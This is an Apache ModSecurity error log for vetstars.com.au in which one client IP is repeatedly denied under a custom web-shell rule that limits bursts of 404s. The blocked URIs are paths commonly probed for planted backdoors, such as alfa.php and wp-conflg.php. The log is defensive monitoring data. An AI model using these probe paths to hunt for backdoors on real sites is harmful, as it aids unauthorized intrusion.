[Mon Mar 02 12:10:20.089736 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:24751] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaUNrIqJmC8ih_lQQnBcBgAAAMw"]
[Mon Mar 02 12:10:21.109175 2026] [:error] [pid 21575:tid 21587] [client 20.104.124.39:24754] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaUNrSrocdArcJqFfIkXzQAAAUg"]
[Mon Mar 02 12:10:21.970404 2026] [:error] [pid 28794:tid 28855] [client 20.104.124.39:24643] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaUNraVy2qpaelbUob2CegAAAFM"]
[Mon Mar 02 12:10:23.175118 2026] [:error] [pid 23872:tid 23892] [client 20.104.124.39:24692] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaUNr0zkQFuA2qBk8UMLfgAAAZE"]
[Mon Mar 02 12:10:24.109070 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:24753] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaUNsP-JFLfishX45N9omgAAAQU"]
[Mon Mar 02 12:10:24.695406 2026] [:error] [pid 28794:tid 28860] [client 20.104.124.39:24980] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaUNsKVy2qpaelbUob2CfQAAAFg"]
[Mon Mar 02 12:10:25.679161 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:24652] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaUNsYqJmC8ih_lQQnBcNgAAANU"]
[Mon Mar 02 12:10:26.355068 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:24991] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaUNsoqJmC8ih_lQQnBcQwAAANU"]
[Mon Mar 02 12:10:26.849085 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:24976] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaUNsoqJmC8ih_lQQnBcTwAAAMs"]
[Mon Mar 02 12:10:27.623899 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:24736] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaUNs4qJmC8ih_lQQnBcXwAAANQ"]
[Mon Mar 02 12:10:29.511023 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24999] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaUNtSrocdArcJqFfIkX9wAAAUo"]
[Mon Mar 02 12:10:29.989618 2026] [:error] [pid 21575:tid 21594] [client 20.104.124.39:24641] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaUNtSrocdArcJqFfIkX-QAAAU8"]
[Mon Mar 02 12:10:31.382791 2026] [:error] [pid 14466:tid 14486] [client 20.104.124.39:24680] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaUNt_8w-ahEIiUSqM5SrQAAAdI"]
[Mon Mar 02 12:10:32.215684 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:25020] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaUNuIqJmC8ih_lQQnBcjgAAAMI"]
[Mon Mar 02 12:10:33.871301 2026] [:error] [pid 28795:tid 28883] [client 20.104.124.39:24766] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaUNubROd53wZBkdI_e-xgAAAJQ"]
[Mon Mar 02 12:10:34.414869 2026] [:error] [pid 21575:tid 21592] [client 20.104.124.39:24994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaUNuirocdArcJqFfIkYDgAAAU0"]
[Mon Mar 02 12:10:35.516663 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24997] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaUNu4qJmC8ih_lQQnBcsAAAANg"]
[Mon Mar 02 12:10:36.608017 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24767] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaUNvIqJmC8ih_lQQnBcvwAAANg"]
[Mon Mar 02 12:10:37.256548 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:24755] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaUNvf-JFLfishX45N9oowAAAQE"]
[Mon Mar 02 12:10:38.056681 2026] [:error] [pid 23872:tid 23898] [client 20.104.124.39:24758] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaUNvkzkQFuA2qBk8UMLpwAAAZc"]
[Mon Mar 02 12:10:39.226126 2026] [:error] [pid 31257:tid 31273] [client 20.104.124.39:25231] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaUNv_-JFLfishX45N9opgAAAQo"]
[Mon Mar 02 12:10:40.218594 2026] [:error] [pid 23872:tid 23875] [client 20.104.124.39:24986] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaUNwEzkQFuA2qBk8UMLswAAAYA"]
[Mon Mar 02 12:10:41.010188 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:24665] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaUNwYqJmC8ih_lQQnBc2gAAAM0"]
[Mon Mar 02 12:10:42.353703 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:24964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaUNwv-JFLfishX45N9orQAAAQ4"]
[Mon Mar 02 12:10:44.130203 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:24681] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaUNxIqJmC8ih_lQQnBdBAAAAMk"]
[Mon Mar 02 12:10:45.078152 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:24709] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaUNxf-JFLfishX45N9otQAAARA"]
[Mon Mar 02 12:10:45.973084 2026] [:error] [pid 23872:tid 23875] [client 20.104.124.39:25000] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaUNxUzkQFuA2qBk8UMLxQAAAYA"]
[Mon Mar 02 12:10:46.566852 2026] [:error] [pid 14466:tid 14492] [client 20.104.124.39:24673] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaUNxv8w-ahEIiUSqM5SugAAAdg"]
[Mon Mar 02 12:10:47.372522 2026] [:error] [pid 23872:tid 23896] [client 20.104.124.39:24650] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaUNx0zkQFuA2qBk8UMLywAAAZU"]
[Mon Mar 02 12:10:48.204451 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:24642] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaUNyP-JFLfishX45N9ougAAAQk"]
[Mon Mar 02 12:10:49.144496 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:24995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaUNyYqJmC8ih_lQQnBdJAAAANE"]
[Mon Mar 02 12:10:50.521608 2026] [:error] [pid 23872:tid 23890] [client 20.104.124.39:25019] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaUNykzkQFuA2qBk8UML1wAAAY8"]
[Mon Mar 02 12:10:51.321462 2026] [:error] [pid 28793:tid 28830] [client 20.104.124.39:25218] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaUNyw2_fxBANaHo1f5gsAAAABc"]
[Mon Mar 02 12:10:52.765024 2026] [:error] [pid 28795:tid 28875] [client 20.104.124.39:24989] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaUNzLROd53wZBkdI_e-1gAAAIw"]
[Mon Mar 02 12:10:53.609047 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24671] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUNzYqJmC8ih_lQQnBdPwAAANg"]
[Mon Mar 02 12:10:54.440551 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:25016] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUNzoqJmC8ih_lQQnBdSwAAAMU"]
[Mon Mar 02 12:10:55.473168 2026] [:error] [pid 28795:tid 28885] [client 20.104.124.39:25220] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUNz7ROd53wZBkdI_e-2QAAAJY"]
[Mon Mar 02 12:10:56.770645 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:25006] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUN0IqJmC8ih_lQQnBdaAAAAMI"]
[Mon Mar 02 12:10:57.753499 2026] [:error] [pid 14466:tid 14478] [client 20.104.124.39:25015] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaUN0f8w-ahEIiUSqM5SxwAAAco"]
[Mon Mar 02 12:10:58.502836 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:24649] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaUN0oqJmC8ih_lQQnBdeAAAAMk"]
[Mon Mar 02 12:10:59.209032 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24744] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaUN04qJmC8ih_lQQnBdgQAAAMY"]
[Mon Mar 02 12:10:59.867950 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:25247] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaUN04qJmC8ih_lQQnBdiAAAANc"]
[Mon Mar 02 12:11:01.057730 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:24714] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaUN1YqJmC8ih_lQQnBdlwAAAMc"]
[Mon Mar 02 12:11:01.926243 2026] [:error] [pid 21575:tid 21592] [client 20.104.124.39:25004] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaUN1SrocdArcJqFfIkYiAAAAU0"]
[Mon Mar 02 12:11:02.602424 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:24651] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaUN1oqJmC8ih_lQQnBdpwAAAMs"]
[Mon Mar 02 12:11:03.424468 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:24644] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaUN14qJmC8ih_lQQnBdtAAAAMc"]
[Mon Mar 02 12:11:04.486065 2026] [:error] [pid 28793:tid 28808] [client 20.104.124.39:25232] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaUN2A2_fxBANaHo1f5guwAAAAE"]
[Mon Mar 02 12:11:35.963505 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:24682] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaUN94qJmC8ih_lQQnBe6AAAANU"]
[Mon Mar 02 12:11:37.535348 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24679] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaUN-YqJmC8ih_lQQnBe7wAAAMM"]
[Mon Mar 02 12:11:38.513127 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:24747] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaUN-oqJmC8ih_lQQnBe9QAAAM4"]
[Mon Mar 02 12:11:39.938082 2026] [:error] [pid 23872:tid 23880] [client 20.104.124.39:24663] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaUN-0zkQFuA2qBk8UMMWAAAAYU"]
[Mon Mar 02 12:11:40.828589 2026] [:error] [pid 21575:tid 21595] [client 20.104.124.39:24691] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaUN_CrocdArcJqFfIkZnwAAAVA"]
[Mon Mar 02 12:11:42.368082 2026] [:error] [pid 28794:tid 28838] [client 20.104.124.39:24658] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaUN_qVy2qpaelbUob2CkgAAAEI"]
[Mon Mar 02 12:11:43.918504 2026] [:error] [pid 14466:tid 14482] [client 20.104.124.39:24722] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaUN__8w-ahEIiUSqM5S-wAAAc4"]
[Mon Mar 02 12:11:44.990475 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:24731] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaUOAIqJmC8ih_lQQnBfFQAAAM8"]
[Mon Mar 02 12:11:46.127915 2026] [:error] [pid 21575:tid 21584] [client 20.104.124.39:24694] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaUOAirocdArcJqFfIkZ2AAAAUU"]
